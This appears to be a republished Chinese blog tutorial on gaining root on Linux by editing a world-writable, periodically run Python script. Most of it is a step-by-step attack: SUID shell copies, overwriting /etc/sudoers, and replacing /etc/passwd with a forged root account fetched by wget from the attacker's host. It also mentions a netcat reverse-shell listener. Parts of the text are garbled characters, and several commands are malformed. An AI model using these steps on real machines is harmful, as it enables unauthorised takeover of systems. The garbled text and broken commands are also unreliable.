溫馨提示×

溫馨提示×

您好,登錄后才能下訂單哦!

密碼登錄×
登錄注冊×
其他方式登錄
點(diǎn)擊 登錄注冊 即表示同意《億速云用戶服務(wù)條款》

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

發(fā)布時間:2021-11-11 11:51:49 來源:億速云 閱讀:175 作者:柒染 欄目:編程語言

這期內(nèi)容當(dāng)中小編將會給大家?guī)碛嘘P(guān)如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán),文章內(nèi)容豐富且以專業(yè)的角度為大家分析和敘述,閱讀完這篇文章希望大家可以有所收獲。

在Linux系統(tǒng)中,任何東西都是以文件形式存在的,包括目錄和設(shè)備在內(nèi),它們都擁有讀取、寫入和執(zhí)行權(quán)限(需配置)。當(dāng)管理員在設(shè)置文件權(quán)限時,必須根據(jù)Linux用戶的具體情況來進(jìn)行設(shè)置。

我們將跟大家討論如何通過可寫文件/腳本來實(shí)現(xiàn)Linux下的提權(quán)。接下來,我們直奔主題。

打開你的電腦,然后入侵目標(biāo)系統(tǒng),我們直接進(jìn)入到提權(quán)環(huán)節(jié)。假設(shè)我已經(jīng)通過ssh成功登錄目標(biāo)設(shè)備,然后訪問了非root用戶終端。接下來,使用下列命令枚舉出全部擁有可寫權(quán)限的文件:

find / -writable -type  f 2>/dev/null | grep -v "/proc/"

你可以看到,結(jié)果中有一個存儲在/lib/log目錄中的python文件,查看之后我們發(fā)現(xiàn)sanitizer.py的權(quán)限為777:

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

看來這個文件是管理員用來清理/tmp目錄垃圾的,這種文件會在一定的時間間隔后自動執(zhí)行。如果攻擊者也發(fā)現(xiàn)了這一點(diǎn),那么他們就能夠通過接下來所介紹的方式實(shí)現(xiàn)提權(quán)了。

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

第一種方法

把/bin/sh拷貝到/tmp中,啟用/tmp/sh的SUID。這種方法很簡單,首先使用編輯器來打開文件,例如“nanosanitizer.py”,然后用下列內(nèi)容替換掉“rm -r/tmp”:

os.system('cp/bin/sh /tmp/sh')
os.system('chmodu+s /tmp/sh')

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

接下來,它會在/tmp目錄中創(chuàng)建一個擁有SUID權(quán)限的sh文件,你運(yùn)行該文件之后你就能拿到root權(quán)限了。

cd /tmp
ls
./sh
id
whoami

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

第二種方法

跟之前的方法一樣,你可以用下列代碼替換掉原來的“rm -r /tmp”:

os.system(‘chmod u+s /bin/dash)

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

一段時間之后,它會給/bin/dash文件設(shè)置SUID權(quán)限,當(dāng)你運(yùn)行它之后你就能拿到root權(quán)限了:

/bin/dash
id
whoami

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

第三種方法

這里我們需要將python反向shell連接代碼復(fù)制到“rm -r /tmp/*”這里,然后在新的終端里開啟netcat監(jiān)聽器:

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

一段時間之后你就會通過netcat拿到反向shell連接,并獲取到root權(quán)限了:

nc-lvp 1234
id
whoami

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

第四種方法

這是一種最有趣的方法,我們可以通過這種方法來使用sudo權(quán)限去登錄目標(biāo)設(shè)備。大家可以看到,wernerbrandes現(xiàn)在還無法運(yùn)行sudo命令:

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

將下列代碼替換掉“rm -r /tmp/*”:

os.system('echo"wernerbrandes ALL=(ALL) NOPASSWD: ALL" > /etc/sudoers')

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

一定時間之后,當(dāng)你運(yùn)行“sudo -l”命令之后,你就會發(fā)現(xiàn)這個賬號變成了sudo用戶,然后你就可以拿到root權(quán)限了:

sudo -l
sudo bash
id

第五種方法

在任何一個類Linux系統(tǒng)中,passwd文件的重要性不言而喻,如果攻擊者可以訪問或修改這個文件,那么該文件就變成了一種提權(quán)方式。在可寫腳本的幫助下,我們可以使用cat命令來訪問etc/passwd文件。

大家可以從下圖中看到高亮標(biāo)注的nemo用戶信息,我猜測UID:1000 & GID:1000表示該用戶很可能在管理員組里面。我們需要修改nemo記錄并讓它成為root組成員。首先,把etc/passwd文件的內(nèi)容拷貝到一個空白的text文件中。

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

然后在新的終端里,生成salt密碼:

openssl passwd -1 -salt abc 123

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

把salt密碼拷貝到nemo用戶記錄條目的“X”位置,把之前的UID&GID改成0:0。完成所有步驟之后,把剛才新建的text文件保存問“passwd”,然后把這個文件拷貝到目標(biāo)主機(jī)中覆蓋掉原始的passwd文件。

cd Desktop
python -m SimpleHTTPServer 80

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

利用可寫腳本,用下列命令替換掉“rm -r /tmp/*”:

os.system(‘chmod u+s /bin/cp)

過一段時間之后它將會開啟/bin/cp的SUID權(quán)限,然后完成文件拷貝。

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

將修改后的passwd文件拷貝到目標(biāo)主機(jī)的/tmp目錄中,然后輸入下列命令:

cd /tmp
wget http://192.168.1.103/passwd
ls -al /bin/cp
cp passwd /etc/passwd

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

使用下列命令查看passwd文件是否替換成功:

tail /etc/passwd

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

通過下列命令拿到root權(quán)限:

su nemo
password123
whoami

在這篇文章中我們給大家演示了攻擊者如何利用可寫文件實(shí)現(xiàn)提權(quán),希望大家喜歡。

如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)

上述就是小編為大家分享的如何通過可寫文件來實(shí)現(xiàn)Linux下的提權(quán)了,如果剛好有類似的疑惑,不妨參照上述分析進(jìn)行理解。如果想知道更多相關(guān)知識,歡迎關(guān)注億速云行業(yè)資訊頻道。

向AI問一下細(xì)節(jié)

免責(zé)聲明:本站發(fā)布的內(nèi)容(圖片、視頻和文字)以原創(chuàng)、轉(zhuǎn)載和分享為主,文章觀點(diǎn)不代表本網(wǎng)站立場,如果涉及侵權(quán)請聯(lián)系站長郵箱:is@yisu.com進(jìn)行舉報,并提供相關(guān)證據(jù),一經(jīng)查實(shí),將立刻刪除涉嫌侵權(quán)內(nèi)容。

AI